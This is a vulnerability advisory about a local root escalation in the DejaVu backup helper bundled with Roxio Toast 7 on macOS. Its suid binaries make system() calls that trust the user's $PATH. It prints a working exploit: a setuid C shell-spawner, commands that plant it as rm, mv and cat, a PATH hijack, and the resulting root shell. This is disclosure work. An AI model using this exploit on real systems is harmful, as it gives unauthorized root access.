[Technical Summary]
- ----------------------------------------------------------------------
Doing a default installation of Roxio Toast 7 Titanium also installs
DejaVu which is used for backups. DejaVu uses a control panel helper
application which makes isecure system() calls. More specifically,
an attacker can exploit these system() calls using the user controlled
environment variable named $PATH and gain root access to the system.



[Technical Details]
- ----------------------------------------------------------------------

This was tested using a configured version of Roxio Toast 7 Titanium.


Roxio 7 Toast contains locally exploitable vulnerabilities due to
insecure system() by calls by suid binaries which use the users $PATH
environment variable.

The following shows the DejaVu suid binaries:

netragard-test-1$ find . -perm -4000
./DejaVu.prefPane/Contents/Resources/abort_backup
./DejaVu.prefPane/Contents/Resources/archive_table
./DejaVu.prefPane/Contents/Resources/install_crontab
./DejaVu.prefPane/Contents/Resources/install_scripts
./DejaVu.prefPane/Contents/Resources/manual_backup
./DejaVu.prefPane/Contents/Resources/remove_scripts


1-Exploitation is trivial. A user must first create small program such
as the one demonstrated by simple.c below.

netragard-test-1$ cat > simple.c

main()
{
    seteuid(0);
    setuid(0);
    setegid(0);
    setgid(0);
    system("/bin/sh -i");
}

2-Once the user has created the program, the user must comple the
program, copy the program to replace rm, mv and cat, and insert it
into the $PATH variable.

netragard-test-1$cc -o chmod simple.c
netragard-test-1$cp chmod /tmp/rm
netragard-test-1$cp chmod /tmp/mv
netragard-test-1$cp chmod /tmp/cat
netragard-test-1$export PATH=/tmp/:$PATH

3-Once the user has finished with step 2, the user must then launch
the "System Preferences" control pannel.

netragard-test-1$/Applications/System\
Preferences.app/Contents/MacOS/System\ Preferences

4-After the user has launched the Systems Preferences helper
application, a GUI window should display. From that window click on
"Deja Vu" located in the "other" section. From there create a manual
backup and then click the backup button. At that point you should be
presented with a root shell prompt:

sh: no job control in this shell
sh-2.05b# id

uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm),
79(appserverusr), 80(admin)



[Proof Of Concept]
- ----------------------------------------------------------------------
Successful Created and Functional



[Vendor Status]
- ----------------------------------------------------------------------
Vendor contacted and notified of the issue.

Vendor Comment:
Deja Vu, the affected component of Roxio Toast, is bundled into Roxio
Toast and is third party software. Deva Vu is authored by Propaganda
Productions and not Sonic.
